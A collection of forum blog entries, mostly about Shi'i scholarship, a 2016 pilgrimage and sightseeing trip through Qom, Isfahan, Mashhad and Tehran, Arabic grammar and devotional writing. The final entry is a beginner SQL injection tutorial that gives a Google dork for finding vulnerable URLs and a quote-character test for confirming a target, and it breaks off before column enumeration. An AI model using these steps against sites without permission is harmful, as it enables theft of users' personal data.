    As mentioned above, during the years when scholars from the third group lived, Qom had slowly become an authority for Shi’i religious discourse, to such an extent that scholars had now begun traveling to Qom to hear and record traditions. For example, we see important figures like Rayyan bin Shabib, Husayn bin Sa’eed al-Ahwazi, Hasan bin Sa’eed al-Ahwazi, Qasim bin Hasan bin ‘Ali bin Yaqtin, ‘Abdul Rahman bin Abi Hammad Sayrafi and more traveling to Qom for this very reason. In the next few articles we will try to address the role and influence of specific individuals, and as well as certain trends that were prevalent in Qom. For this reason, I have created a rough timeline showing when certain specific scholars who will be mentioned in subsequent articles were living and who their contemporaries were. Most dates are rough, as they are either unknown or there are multiple dates given for them.

    Qom-Scholar-Timeline.jpg.e26067fb1486a3c5048b292dc2465c6b.jpg

    —————

    [1] Page 251-258 | Book can be downloaded here. The book has also been translated into Farsi as: مهاجران آل ابوطالب

     

  4. shiaman14
    Latest Entry

    I had been planning to go to Iran for a long time and finally made it a priority for me in 2016. Since I wanted to mix in sightseeing and pilgrimage in the same trip, I decided to go on my own instead of in a group.

    As it turned out, getting an individual visa for Iran when traveling from the US is a real hassle. We need to get permission from the Iran Foreign Ministry and then apply for the visa at the Iran Mission housed within the Pakistani Embassy in Washington, DC. After struggling for almost 3 weeks, I was able to find Taha Ziyarat Group (tahaziyarat@gmail.com) based out of Toronto that obtained the necessary approval for me for $90.

    Once I got my approval, I sent my passport off to the Iran Mission in Washington. I did have to follow up with them almost daily to ensure they processed my visa application expeditiously. I received my passport 4 days before flying out.

    While I was waiting for the visa approval, I booked my flights on Qatar Airways for a bargain price of $700 return to/from US-Tehran. For in-country arrangements, I know a maulana (NAJ) there who arranged everything for me based on my budget.

    Finally, the big day came and I left for Iran on Wed Mar 23rd arriving in Tehran late Thu evening (Mar 24th). NAJ had arranged for a driver to pick me up and drive straight to Qum instead of spending the night in Tehran. The drive from IKA (Imam Khomeni Airport) to Qum took about 90 minutes. The driver barely spoke English but knew where to pick me up from and where to drop me. We arrived at Qum International Hotel around 1245am (Fri Mar 25th). The hotel was about a *** US hotel, higher for Iran.

     

    Day 1 (Fri):

     

    We prayed fajr in our room and went back to bed. Since breakfast was included in our price, we went down for breakfast around 9a – nice long buffet.
    NAJ contacted me around 10am and picked me up from the QIH around 1030a to take me to the Roza of Masooma-e-Qum. We walked to the roza and were there at 1035a. The hotel is the closet one to the roza.

    NAJ showed us around the haram and provided us some background about Masooma and her roza. From 1130a – 2p, we were on our own to recite ziyarat, salah-e-jumah and dua. I wandered around the roza and made my way to the masjid adjoining the roza. It is an absolutely beautiful mosque.

    They had beautiful recitations of the quran and then some speeches followed by Azaan. The Jumah khutba was recited by an Ayatollah in Farsi (of course) and then namaz-e-jumah. Although I did not understand most of the khutba, one thing that was unmistakable was the ‘marg-al-Amreeka’ chants (down with America or death to America). They were loud and boisterous.

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    Shrine of Bibi Masooma Qum (as).

    After salah-e-jumah, NAJ took us to the Suffrah of Masooma where were had a decent meal of rice with spinach with potatoes.

    We went to our hotel after lunch for some R&R and then returned to the haram for maghribain. After namaz, NAJ took us around the bazaar outside the haram. The clothing looked like they were from the 70s and 80s. Religious paraphernalia including irani chador were well stocked and affordably priced. Almost evey other shop sold halwa-suhan.

     

    Day 2 (Sat):

     

    We spent most of this day driving around to the various ziarats around Qum.

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    Bait Al-Noor. Musallah of Masooma (as). This is where she spent time praying.

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    Shrine of an Imamzadeh (Son of an Imam).

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    Shrine of Hz. Hamza bin Musa Kazim (as).

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    Day 3 (Sun):

     

    This was by far the most hectic day of the trip. We left around 5am to drive from Qum to Isfahan. It was about a 4-hour drive. I was surprised how much of the Iranian country was desert. The deserts in the Middle East countries (UAE, Saudi) have a lot of fine yellow sand. Iranian deserts are more rocky than sandy.

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    Upon entering Isfahan, we visited the shrine of Masooma Zainab bint Imam Musa Khadim (as) – Masooma Qum’s younger sister.

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    Next stop was the Jameh Mosque of Isfahan. We spent a few minutes here and then walked to Allama Majlisi’s tomb nearby. His house and surrounding are well preserved.

    Next was the more secular part of the Ishafan visit.

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    We went to Naqsh-e-Jahan (half of the world) which is the main plaza of Isfahan. The weather was great and since the Nawroz holidays were still going on, it was packed with people.

    Within Naqsh-e-Jahan is the Ali Qapu Palace

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    Panamoric View from Ali Qapu Palace Balcony of Naqsh-e-Jahan

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    Since it was almost lunch time, we stopped by a street restaurant selling A’ash

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    After lunch, we went to the Vank Cathedral. This Christian monastery was established in 1606. It contains some amazing art work.

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    From here, we went to Khaju Bridge for some more sightseeing.

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    At this point, we were too tired to do anything else so we headed back to Qum – 4 hour journey mostly spent napping.

     

    Day 4 (Mon):

    After a hectic day, sleep was going to be the primary thing on the agenda for this day but there was too much to do. We prayed fajr at the mosque next to Masooma-e-Qum’s shrine:

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    Mosque adjacent to Masooma-e-Qum's shrine

    And then went back to our hotel for more sleep. We had breakfast and got ready for another fun-filled travel day.

    We started off by going from Qum to Mashad-e-Ardehal. This site contains the tomb of Sultan Ali son of Imam Muhammad Baqir (as) and brother of Imam Jafar Sadiq (as). Sultan Ali was brutally killed here by his enemies.

    58bf27683fccc_MA2.jpg.70ad752561ec9b8e1472339c828de823.jpg58bf2762748a5_MA1.jpg.e063a8f09f738884c455c6196aaa9bec.jpg

     

    From here we drove to a hilltop/mountaintop with streams running down. We had to walk down about 500 meters and got a great view of a waterfall.

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    The most distinct feature of this area of the smell of rose water distilleries all over the place. You could get rose water for a variety of needs including simple hot rose water tea. The other distinct item being sold was fresh bee hives dripping with honey. And yes, we tried hot rose water tea with honey.

    From here, we went to the city of Kashan. Our first stop was an ancient archeological site called Tepe Sialk. The Sialk ziggurat

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    Note: Entrance for most places have an Iranian Rate and a Foreigner rate (up to 3X in places). We had our driver buy the tickets and we would walk in with him talking to us in Farsi. Yes – very sneaky indeed. I excused myself by convincing myself that since both my wife and I are of Iranian descent, we qualify for the discount. :) 

     

    Final stop of our day trip to Kashan was to the oldest extant garden in Iran known as the Bagh-e-Fin or Fin Garden.

    IMG_20160328_1353304.jpg.e203577b32e7d0a784df179675295994.jpg      IMG_20160328_1354584.jpg.309db9ab92fdb88b8497931737a68074.jpg

     

    Although this was a less hectic day than the trip to Isfahan, we were still pretty tired so we drove back to Qum, had a 12-in falafel sandwich, prayed maghraibain at the haram and went to bed.

    Day 5 (Tue):

    The past couple of days had left us tired so we decided to take it easy.

    We went to the haram for fajr then went back to bed. We woke up just in time to catch breakfast and then went to the local market (wish I took pictures). From there we went for zohrain at the mosque adjacent to Masooma’s shrine.

    After a quick bite to eat, we left for the Koh-e-Khizr aka Mountain of Khizr. What was supposed to be a light day in terms of exercise became a very intense and steep climb to the top of Koh-e-Khizr. It was well worth it in the end because we got a great view of the entire city of Qum if not the whole province.

    IMG_20160326_1221575.jpg.3eb5c2cfff226a79f1908977ff245396.jpg  IMG_20160326_1224186.jpg.efa9661f70737271ddaf5f292671dd5a.jpg  IMG_20160326_1226032.jpg.4be0bce696c01b248ca6f958a9138d15.jpg

    Got more daunting as we got closer.

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    For the record, the old gentleman in the pic IS NOT ME :)

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    City/Province of Qum.

     

    Needless to say the climb down was nowhere near as arduous as the climb up. There was a small food vendor about half from the top. On our way up, we bought some water from him and then ice cream on the way down.

    After resting by the car for a few moments, we drove nearby to the Masjid-e-Jhamkaran, located on the outskirts of Qum. A brief history of this grand mosque is that it  has long been a sacred place, at least since 373 A.H., 17th of Ramadan (22 February 984 C.E.), when according to the mosque website, one Sheikh Hassan ibn Muthlih Jamkarani is reported to have met Muhammad al-Mahdi along with the prophet Al-Khidr. Jamkarani was instructed that the land they were on was "noble" and that the owner — Hasan bin Muslim — was to cease cultivating it and finance the building of a mosque on it from the earnings he had accumulated from farming the land.

    As we had been told, the mosque starts getting filled up from about 5pm and gets fuller and fuller as the evening progresses. I am not sure if it was because of Nawruz season but it definitely had a very 'carnival' and festive feel to it. People had spread out their rugs all across the mosque courtyard and were reveling with family and friends. There was hot tea brewing and koobideh with naan being shared by one and all.

    Quran and then different duas were being recited, followed by maghribain and then more duas. We left around 830p to go back to our hotel.

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    Mosque sparely populated around 4pm.

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    Crowded!!! (730pm).

     

    Day 6 (Wed):

     

    Today was the big day when we would finally make our way to Mashad. We had packed the previous night so we left right after fajr – and yes, I skipped breakfast!!!

     

    First stop was First stop was an almost 2 hour drive to Ayatollah Khomenei’s mausoleum.   It is located to the south of Tehran in the Behesht-e Zahra (the Paradise of Zahra) cemetery. Construction commenced in 1989 following Khomeini's death on June 3 of that year. It is still under construction, but when completed will be the centerpiece in a complex spread over 5,000 acres, housing a cultural and tourist center, a university for Islamic studies, a seminary, a shopping mall, and a 20,000-car parking lot. The Iranian government has reportedly devoted US$2 billion to this development. It is definitely one of the largest and most beautiful mausoleums I have come across.

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    Visitors reciting fatiha for Ayatollah Khomenei.
    Please recite surah fatiha for Ayatollah Sayyid Ruhollah Mūsavi Khomeini.

     

    Next stop was the Astana Bibi Shehr Bano. On the ground level there is a cave which according to legends was the place where Zuljinah brought Bibi from Kerbala, and she was there until hostile people to Bani Hashim got news of her being there, and they tried to catch her. She climbed the hillock and then vanished in a mountainous wall. Now a zarih has been constructed together with prayer rooms for men and women.

    IMG_20160330_1105077.jpg.e8213f60e0c58e010cc4ff7eb45ab4cc.jpg   IMG_20160330_1113332.jpg.e2f53cf653dd951d9fe7add991d70afb.jpg
    Zarih of Hz. Shehr Bano.                                                                    View of other side of Tehran.

     

    who was a fifth generation descendant of Hasan ibn ‘Alī and a companion of Muhammad al-Taqī. A piece of paper was found in his pocket outlining his ancestry as being: ‘Abdul ‘Adhīm son of ‘Abdillāh son of ‘Alī son of Husayn son of Zayd son of Hasan ibn ‘Alī.Shah Abdul AzeemNext stop was the Shrine of

    Adjacent to the shrine, within the complex, include the mausolea of Imamzadeh Tahir (son of the fourth shia Imam Sajjad) and Imamzadeh Hamzeh (brother of the eighth Twelver Imām - Imām Reza).

     

     

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    From here, we drove around the City of Tehran including the famed part known as Rey. I am fairly well traveled but I have to say that Tehran is one of the most picturesque cities I have visited. Situated in close proximity of the Alborz range and its majestic peak Mount Damavand , being the highest in Iran with a height of 18,550 feet ,it is a mega city of about Thirty Million People.

    IMG_20160330_1138259.jpg.0a725f670569a2d73b5b649f8f974c64.jpg
    You can see hundreds of buildings at the foot of the mountain. Not a bad view to wake up to every morning.

     

    After driving around for a couple of hours, our driver dropped us of at Tehran’s Mehrabad Intl Airport which is primarily used for domestic travel. The airport is in the heart of Tehran or at least within the city.

    The airport has a small cafeteria that serves hot meals of the local variety. They also have a coffee shop and ice cream parlor.

    After a 2-hour wait, we finally boarded our short (1-hr) flight to Mashad. The flight was as uneventful as all flights can be. I did enjoy a small boxed-meal they offered everyone despite the short flight. It made up for the breakfast that morning J.

    Naj had arranged a friend of his (Ali) to be our tour guide for the stay in Mashad. Since Ali’s English was a little weak, he brought along his sister (Afsanay) who was quite fluent in English.

    We checked into our Hotel (Hotel Omid). It is definitely one of the nicer hotels in Mashad.

    H1.jpg.6c7beae4f97750bdd0283e6c217d4171.jpg    H2.jpg.e0ff66083876b29177719e3ce3d986df.jpg
    View of shrine from our hotel room balcony.

    We quickly refreshed and headed over to the Shrine of Imam Reza (as). Much to our pleasant surprise, the shrine was not as packed with zawar as we expected. It could have been the weather or Nawruz.

    IMG_20160331_0220470.jpg.f28f247399ae93fcab0cdfdade0b9bc0.jpg
    About to enter the main hallway of the Shrine for the first time. Goose bumps.

     

    IMG_20160331_0247154.jpg.713293aff55f3c74dae568514f39b5f9.jpg
    As salaam alai ka Ya Ghareeb Al Ghuraba (as)

    IMG_20160331_0445281-panorama.thumb.jpg.354420c45765a4544ea659d59d16f532.jpg
    One of the many courtyards within the Shrine Complex of Imam Ali Reza (as).

     

    Day 7 (Thu):

     

    Although our intention was to go to the haram in Imam Al-Reza (as) for fajr, it was raining too hard with heavy winds to walk so we prayed in our rooms and went back to sleep.

    We woke up to this view:

     

     

    After a world class buffet breakfast, we met up with Ali and Afsanay to go to Nishapour. Once again, it was a very scenic drive. The mountain-desert country just has a certain serenity about it. On the way, we saw small villages celebrating nawroz in their own way.

    02.jpg.3db020d9aff83f92cf5dae756b1d7cc1.jpg  03.jpg.9de71d9e13b3c00f1a4000a154a95cd0.jpg

     

    Our first stop was at the Qadamgah – where the footprints of the Holy Imam Al-Reza (as) can be found. Adjacent to it is a small stream said to bring benefits of all kinds to the zawar.

    04.jpg.bbc9ea98414fdf2ea8478c187d953d61.jpg   05.jpg.5e50e3859964a70a56e74f3c2f1236be.jpg    06.thumb.jpg.b33edbb16c238f5d127aa8f643c3e364.jpg
    Panoramic view of the building housing the footprint.
     

    Just before entering the area of the qadamgah is a small caravansary which use to house people back in the day.

    07.jpg.8d217f270032d4efbc1d032e696434e8.jpg

    There were probably abour 20-25 room like the one shown above. Very basic room with a hearth in the middle. The rooms were considered high end. Outside the caravansary, there was just the open shelter (pretend there is no room just the outer part).

    Next stop was to the mausoleum of Bibi Shatitay. The legend goes that Imam himself came there and led the Namaz-e-janaza prayers for her.

    08.jpg.ba04909b3a340eb1ef2c88dcb55b76ae.jpg     09.jpg.4db4d7b332ba4430efd0d3428ff3033a.jpg

     

     

    We made a brief stop at the historic Shah Abbas Inn/Caravansary which has been converted into several small shops selling jewelry or souvenirs. Nishapur is famous for its turquoise stone (firoza).

    Next stop was the shrines of Imamzade Mahruq bin Muhammad Al-Baqir bin Sajjad (as) and Ebrahim bin Ahmad bin Moosa bin Jafar (as). 

    10.jpg.841aa04bb40d54dc08a001cefbb28a02.jpg     11.jpg.c5129576af469a49db6c80defeb3d736.jpg

     

    A short walk from here was the tomb of Omar Al-Khayam – one of the most influential thinkers of the Middle Ages. He wrote numerous treatises on mechanics, geography, mineralogy and astronomy.

     

    12.jpg.a18e55f76570d3f3bfa716ba36626e73.jpg

     

    A short drive from here was the mausoleum of Abu Hamid bin Abu Bakr Ibrahim aka Attar Nishapuri - a Persian Muslim poet, theoretician of Sufism, and hagiographer from Nishapur who had an immense and lasting influence on Persian poetry and Sufism.

    58c85bb3c5781_AttarNishapuriMausoleum.jpg.f1964a6827169b04686954c889f3e00d.jpg

     

    If memory serves me right, next to Attar’s tomb was an archeological site from thousands of years ago. It was going through extensive renovations at the time.

    13.jpg.97aa740559665b61fb0cc68e463a30dd.jpg

     

    Our last stop was a very famous local restaurant called Emirat Restaurant. Undoubtedly the best lamb koobideh I have ever had!!! My wife and I had some very interesting conversations with Ali and Afsanay. They were both fascinated by our lives in America. They had no qualms about asking me my salary; the size and cost of our house; they were surprised if not shocked that it was okay for my wife to go grocery shopping by herself and it was perfectly safe. They were under the impression that any woman who stepped out of her house by herself was 'asking for it'. I thought it was hilarious. Now that I think about it, everything the Western media does to paint Muslims in a certain light happens in Iran too but backwards. The Western media takes 1 bad Muslim story and tries to apply it to all Muslims. The Iranian media takes a bad Western story and applies it to all Westerners. This was just my observation and nothing more.

    We had some other interesting conversations but those are for another day and another time. 

    We drove back to Mashad and spent the evening the haram of Imam Al-Reza (as).

    Day 8 (Fri):

    We prayed fajr at the haram and went back to bed; then woke up to this beautiful view.

    58cc61d94a692_day8-001.jpg.fd8ddfb3a4b7d0ef51160ea19af94869.jpg
    Beautiful view of Roza of Ima Ali Reza (as).

    Since it was Friday, we stayed in our room until 11a or so and then headed to the haram again. Good thing we went early because it was fuller than we had seen since we got there.

    So I got a good spot in the mosque adjacent to the haram. I heard the Friday sermon (understood bits and pieces) and the “Death to American” chants, then prayed juma followed by Asr.

     

    58cc61df80f87_day8-01.jpg.26fee9af0933a50758dd48d514764e38.jpg
    Mosque adjacent to Imam Ali Reza's (as) shrine.

    Next was one of the most essential parts of the trip. One may not get this opportunity all the time. We had to take our passport to the office of Pilgrims situated in the Haram of Imam Ridha’s (as). They marked our passport and gives us a ticket for the meal. At the restaurant, they feed almost 4000 Zuwar each day. Thousands of Iranians must wait for years before they get a chance to have a meal at this restaurant.

    58cc61e55dbf2_Day8-02.jpg.5f09d4402c90aecf9fcb630a17183e1c.jpg
    Lunch at Imam's restaurant (dastakhawan)

    Following lunch, Ali and Afsanay picked us up for some sightseeing. We drove around Mashad, saw her university and then went to ziarat nearby

    IMG_20160401_1506333.jpg.344a799d3c54530b0c9edaa4a0ead8f6.jpg
    Ziarat near Mashad

    58cc63064a6e3_Day8-03.jpg.9584b02e279c5be28d83d2901a9bd72f.jpg
    Iranian country side. Notice the marked difference in scenery from the previous pictures.

    On our way back, we stopped at an ice cream parlor for some traditional Persian ice cream. The last stop was a nearby pewter mountain. I was amazed to see people climbing it without any concern for safety. It was rainy and slick. Mrs ShiaMan14 bought a very nice souvenir.

    58cc630be34f0_Day8-05.jpg.4b0a40ed5bea83ef2c679448801240ef.jpg

    We came back, rested for a bit and then went to the haram for salah.

    Day 9 (Sat):

    This was the day to head back to Tehran. We spent the entire night at the haram until fajr. Then came back to get some rest. We got up after a couple of hours, had some breakfast and packed. We took all our luggage downstairs and went back to the haram for zuhrain. We also did the farewell ziarat, rushed back to the hotel since Ali was waiting for us.

    We got to the Mashad International Airport around 245pm for a 530p flight - plenty of time.

    Just as Ali left us, NAJ gave me a call informing me that my flight had been cancelled so he booked me on the last flight to Tehran (happened to be the cheapest option). This is when panic set in. If the last flight got cancelled, I  would miss my flight from IKA to Doha and the subsequent flight to US.

    I could see on the monitors that there were several flights from the time now until my new flight time although all of them were on a different airline than mine. I called NAJ to ask if my ticket could be changed and he said it would not be possible. So I saw the flight I wanted about 1.5 hours later and went to their sales office. First, they couldnt understand why I wanted another ticket when I already had one. My farsi and their english were too awful to understand each other but nevertheless they allowed me to buy 2 tickets. 

    Next problem - I did not have any Iranian Rials on me and the INTERNATIONAL AIRPORT did not have a Money Exchange! So I had to call Ali back to see if he had any rials that he could give me in exchange for dollars. By this time, he was about 20 minutes away so we had to wait for him to come back. In the meanwhile, the Sales Agent agreed to take my dollars at a fairly decent exchange rate. Basically, I bought 2 one-way tickets from Mashad to Tehran for about $100. Just as we finalized the transaction, Ali came back and I had to explain the whole thing to him as well. He, too, was confused as to why I would buy another ticket when I already had one. 

    Anyway, we finally put all that behind us, checked-in and were on our way to Tehran.

    After an uneventful journey to Tehran, we drove all the way to Qum to sepnt about 3-4 hours in Qum at NAJ's house. We freshened up, ate a really nice meal and got ready to leave.

    Day 10 (Fri):

    We left Naj's house around 1am and reached IKA by 215am. Since this was the last or day after Nawruz holidays, the airport was jam packed. It took an hour to check-in, the security lines were considerably shorter so in another 15 minutes, we were at our gate. Boarding started just around fajr, so we prayed quickly and boarded our Qatar Airways flight to Doha.

    I was a bit nervous about returning to the US from Iran but had no problems whatsoever.

    A very placid end to a very hectic but thoroughly enjoyable trip.

    Summary:

    Iranians are a very joyous and happy people. There was no patch of grass where we didn't see a family setting up a picnic be it as a roadside or a courtyard of a shrine. I really wish relations between Iran and the West improves so the people can really experience the rich, colorful and impressive history, geography and culture Iran has to offer.

    Our entire 10 day trip cost about $1,600/pp. It was money well spent.

     

  5. Bismillah and salam. This is the translation of the first rule to purifying the eyes, mentioned in Minhaj al Ibaadatin by Imam Ghazzali.

    It is for you, O Allah, that I maintain my eyes that cause all fitna. And for this (maintaining the eyes) we can say there are 3 rules:

    The first rule is that Allah said: And say to the believing men to reduce some of their sight, for that is purer for them. Indeed, Allah is well acquainted with what they do. When we reflect on this Ayah, we will see that there are 3 ways to do this (referring to telling others): Discipline, Warning and Persistance.

    First, discipline: You must have the manners (adab), awakeness and fearfulness needed to tell others to pay heed. Now, the discipline is to tell the believers to make their eyesight one (avoid making excuses), tell them where they should not look, and tell them we should be servants of God instead of flour (desires), and should not be ill-mannered servants. Understand these tips, for they will prove helpful.

    Now onto the second rule, warning. First tell them (how to deal with their problem) Zakat is a cleanser and refinement of faith a purifier. Zakat is one of the basic principles of development. Now if they come to the point where they (purely) look through their eyes, they are pure in the heart and they are good and obedient, looking from their eyes as one with their soul, their reins of faith held down, and instead of setting their sight on the forbidden which is outside the permitted... (to be continued)

    Notes: The interpretation of Imam Ghazzali for this Ayah (24:30) was that everyone is responsible to tell others to lower their gaze, meaning it is not only referring to the Prophet telling us, but we must also tell others. It mentions at the start that you must have the manners, awakeness and fearfulness to tell others. So you should not be sinning while telling others not to do this, for that is hypocritical. Instead, in my view, his recommendation applies to using it on ourselves as well. Keep his reminder in your head so that you will remember that you are "servants of Allah, not servants of flour." As for zakat, this means giving zakat as a means of self punishment. So $10 for every lustful gaze goes to charity. That way it will motivate you and help erase your sins. And refinement means getting closer to God.

    More to come this weekend Inshallah

     

  6. A placeholder for the second chapter, summarising my research findings into the decline of Shi'i Intellectual thought production, which will focus on:

    - how the 'chain/sanad' method contributed to this decline,  killed off any hope of academic revival ,and dumbed down the level of scientific research within the Religious seminaries. 

    - the foremost scholar to establish this method of eliciting religious rulings and verifying narrations  (knowingly or unknowingly) - S AbulQassim alKhoei, may God bless his soul,and the people who followed his method after him.

    I want to be absolutely clear that my research focuses entirely on the methodologies used by these different currents (Akhbaris/Usoolis etc), and not the individuals who became famous as a result of it. 

     

  7. Bismillah

    Salam

    Here are some thoughts and updates about how my coloring page is coming along.

    - It had some momentum at first... I was averaging 1 finished coloring page a month. Now it's been like 5+ months and nothing... I just feel like I have little time and even littler inspiration these days. Deep down I am still passionate about the idea... but it doesn't manifest itself. 

    - I hired my niece a few months ago to help me produce more pages more quickly and offer a variety of styles. She is an artist herself, so the idea was that she can come up with sketches/ designs, send them to me, and then I turn them into a finished coloring page. She gets $5 per finished design and a % of every sale of that coloring page. She did do one for me so far, but she is very busy as well so I understand if she can't produce much. (Anyone else interested?)

    - I actually am working on a design right now. I am excited about it, I think I will like how it comes out when finished. Probably because it is based off of one of my old (and favorite) paintings. 

    - I learned that I am absolutely terrible at promoting myself. I just don't like it. I even made an Instagram because I heard that it's good for this type of stuff, but I dislike posting. I'm very shy and hate attention. Hmm... how will that work with my entrepreneurial side? 

    - I've made 8 sales in all. Every time I get an email saying I made a sale, I get so happy! Even though I literally make pennies off of every sale lol. But that's fine, I don't do this for the monies. 

    I think that's all for now. Here are the 2 coloring pages that I have completed since my last blog. 

    icecreamgirlssmall.thumb.jpg.59b2ae1e2eb225780222a9039f898ad5.jpgtreesandflowersmall.jpg.67a8de06b49bef5a60c4e3c7fb7f3e5f.jpg

    Link to shop: https://www.etsy.com/shop/TzahArt

  8. :bismillah:

    Characteristics of the اسم (Noun)

    Ibn Hisham says:

    فاما الاسم فيعرف: بال كالرجل, والتنوين كرجلٍ , وبالحديث عنه كتاء ضربتُ

    The Ism is known by one of three characteristics: By being proceeded by ال, by التنون (nunnation), and by being talked about. The first of these is a characteristic at the beginning of the Ism, the second is at the end, and the third is one of meaning. It suffices for a word to have one of these for it to be a noun.

    Ibn Hisham then goes on to categorise nouns as either معرب (declinable) or مبني (indeclinable).

    The Mu'rab is that which has an ending that changes because of various different operators acting upon it. The Mabni is that which does not change but is fixed. Most nouns in Arabic are Mu'rab. Ibn Hisham therefore proceeds to discuss those that are Mabni.

    The Mabni nouns can be put into four categories as follows:

    المبني على الكسر

    He further subdivides this section into those words regarding which there is agreement, and those that are contentious.

    There is no disagreement amongst Grammarians that هؤلاءِ is Mabni 'AlalKasr. But there is disagreement regarding others, including أمسِ and حذامِ

    المبني على الفتح

    احدَ عشرَ and its sisters fall into this category, excluding اثنا عشر

    المبني على الضم

    The examples he gives here are the six directions: وراء امام فوق تحت يمين شمال and also قبل , بعد, اول , دون.

    He discusses قبل and بعد specifically in detail, and here is gets more complicated. These words are mu'rab in 3 cases, and mabni in 1. They are mabni if the مضاف اليه is deleted, but the meaning is intended, for example in Surah Aroom v4.

    As far as I can tell, what applies to قبل and بعد above also applies to the six directions.

    المبني على السكون

    He gives the examples of كمْ (How many?) and مَنْ (Who?).

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    Jebreil
    Latest Entry

    58b78243cb823_bismillahziba.jpg.f2d3b0a2f8be48d4773846de37c2a59e.jpg

     

    :salam:

     

     

    Writing well is hard, but writing is even harder. So I have come back to bring back the cravings we can all associate with this forum. The need to sit down and compose. Either somebody needs to know the truth but is incapable, so we are called upon by the 'inner voice' to set them straight. Or we are bored and so is somebody else and two is all you need for a tango of words. Now the urge is easy to feed but difficult to purge. Having purged it, however, I am immune from that inner voice and boredom no longer brings me here. So why am I here? To write what I feel needs to be written, and nothing churns out letters faster than the sensation of sharing a piece of yourself. Sharing is the soul of relationships and relationships are the sole escape from loneliness. First God, then believers in God - love Him and then thy neighbour in faith - and we shall have lived.

    God knows, others know, and you may know that I am a young father blessed with daughters, the eldest who is only just beginning to read and write. Alhamdulillah.Young but aware of the storms that sweep through the modern world and lay it bare of virtue, with my dwelling in the West, and some say the East is fast collapsing too, I have begun to fear for generations yet to come, and for my progeny yet to see the light of day. Were we not told in bygone times of nights in which believers sleep and wake as unbelievers? How should I appear on that fearful Day should I be father to thankless sons and faithless daughters? Perish the thought, and prithee, Lord, perish the very possibility!

    Doubts grow like weeds, certitude wanes, everything holy recedes. The city of opinion is a metropolis now, and every half-wit peasant claims a right to believe - or disbelieve. Scholars are isolated and scholarship is in disarray as the secular floods society with freedom - and unfreedom. We were forewarned of a Great Confusion, a Heera, but up until now the Ghayba was a man stumbling in darkness and ignorance, lost in a town. Today the man is lost in the Sahara, in the daylight of science and the white heat of technology, without a holy star in sight to be guided by. 

    We have only with us an ancient astrolabe, covered with rust from non-use, rickety from abuse, but the only compass in a sea of sand and illusion. And we have with it a lore of how to read it, by my lords who knew best how to handle it. My daughter, I should like to say, here is the astrolabe which God revealed in sweet Arabic, and here the words that teach the way to make it work, and bequeath this to your children as I have bequeathed it to mine. With it, pass through the Sahara with her sandstorms and ignore her illusory temptations, until you arrive at the oasis that your forefathers have promised you, and may you meet them beneath the shade and by the pond.

    These are then letters to my daughter who will not read them for a long while, and may not see the reason for such solemnity until she is a mother herself, Godwilling. But I write what I think I need to write, and share with you the passions of a man who loves to see his child live her eternity in God's paradise. 

    Today is a good day to begin this blog. It is 3rd of Jamaadi al-Thaani, a date on which by some account the sweetest of daughters, the highest of ladies, the purest of women, followed the footsteps of her father to the undeserved grave very fast. Has a father known so deep a daughter's love, or a daughter a father so impatient to meet her? Has kin ever been so close and life so cruel? 

    That noble father sent her the glorious gift of the Tasbihaat, a treasure ever since for the followers of the House. I emulate his example and send a gift to my rosebuds who will grow by the grace of God and by His guidance wear the scent of heaven and be raised from the earth as roses to bloom in the gardens of bliss.

    These letters that I send compose together a commentary on the finest verse of the Koran. Shall I then strike a similitude? A necklace bejewelled by gemstones that lie scattered in our hallowed books; it is stringed by the silken tones of the Arabic tongue; from it hangs a locket of exquisite artistry, fashioned by the Hand of God Himself; in that locket is a liquid; that liquid is an aromatic oil; that oil is distilled from the sweetest musk of the Far East and and the damask rose of the West, which trains of camels have borne through desert sands in caravan trails and brought to Arab hands; every reach of the world is distilled in this Arab Word, and this is a verse, and every verse is sweet, but the sweetest that comprehends them all is bismillahirrahmanirrahim :bismillah:.

    And that is why my daughter, you should not be sad not to wear the scent on the streets where strangers walk about. For you will see, as the Sunna shows, that any neck laced by the bismillah is graced with all the perfumes of Arabia.

     

    3rd Jamadi al-Thani

  9. WARNING: PERFORMING AN SQL INJECTION (indeed any form of hacking) WITHOUT PERMISSION OF THE PEOPLE WHO OWN THE THING YOU ARE TRYING TO HACK IS VERY ILLEGAL. IF CAUGHT, YOU WILL GO TO JAIL. DO NOT BE AN IDIOT. ITS VERY EASY TO BE CAUGHT IF YOU ARE BASIC LEVEL. THERE'S PLENTY OF SAFE (LEGAL) WAYS TO PRACTICE. 

    SQL injection is a form of hacking where you manipulate a standard search bar to steal data from a website. the best way to think about it is, imagine that when you search for something in a search bar, the website looks for results in a table in a database. an SQL injection is used to "steal" the information in that database. so for example lets say I wanted to search for the member @notme in shiachats search bar. her profile name might be held in a table that also lists her email address, personal info, address, credit card details, passwords etc. I could use a SQL injection to get the whole table of all members of SC and all their personal information. 

    Luckily, the security on SC is 10/10 and this is not possible. but there's far too many websites which do not take cyber security seriously, and keep all sensitive data in basically unprotected tables. 

    we will firstly look at the theory behind it, then do the old fashioned (manual) way so we can fully understand how everything works. hacking isn't just remembering some commands or pressing a few buttons, its more of an art- a way to think. its a way to solve puzzles. SQL injections are a perfect example of that. 

    an excellent discussion of what SQL is, and why this works:

    http://www.kalitutorials.net/2014/03/sql-injection-how-it-works.html 

    really take a few minutes to get your head around SQL. its not complicated, it doesn't take long, and by understanding the theory, everything to follow becomes 1000 times easier. 

    Doing it manually

    my notes are based on this guide:

    http://www.kalitutorials.net/2014/03/hacking-websites-using-sql-injection.html

    (1) GOOGLE DORKS

    a "google dork" is a way of using googles search facility to find websites that could be sensitive to SQL injection. 

    an example of a google dork is typing this into google:

    inurl:"products.php?prodID="

    if you type this in to google, it brings up a list of websites that have .php in the URL. this is what we are looking for. the other bits of the code are just used to narrow down the search a bit if you can guess what some of the headings of the columns in the table are. 

    a more complete list of Google Dorks can be seen here:

    http://1337mir.com/hacking/2013/10/google-dorks-sql-injection/ 

    no one is ever going to expect you to memorise these off by heart. what matters is you remember the structure of the command.

    inurl: tells google to look within the URL for some text you are about to type
    "<guess a name of the very first column>.php? look for a URL that includes this
    <something>=" what lies after the = is the code we will type to expose the vulnerabilities

    (2) NARROWING DOWN THE LIST TO FIND ACTUALLY VULNERABLE SITES

    this bit is pretty neat. basically lets say you find a website with the URL:

    www.TatbirBlades.com/products.php?prodID=25

    to find out if this website can be victim of a SQL injection or not, simply replace the "25" at the end with a single quote mark ', and see if the web page shows you some error like "Not found","Table","Database","Row","Column","Sql","MysqL" or anything related to a database. In some cases, there would be no error, but there would be some berserk/ unexpected behavior on the page, like a few components not showing up properly, etc.

    if you see something like that, you know that this website is a target:

    asterisk.PNG

     

    (3) FINDING OUT HOW MANY COLUMNS ARE IN THE TABLE YOU ARE ABOUT TO STEAL

    this is just trial and error. 

    go back to the URL above:

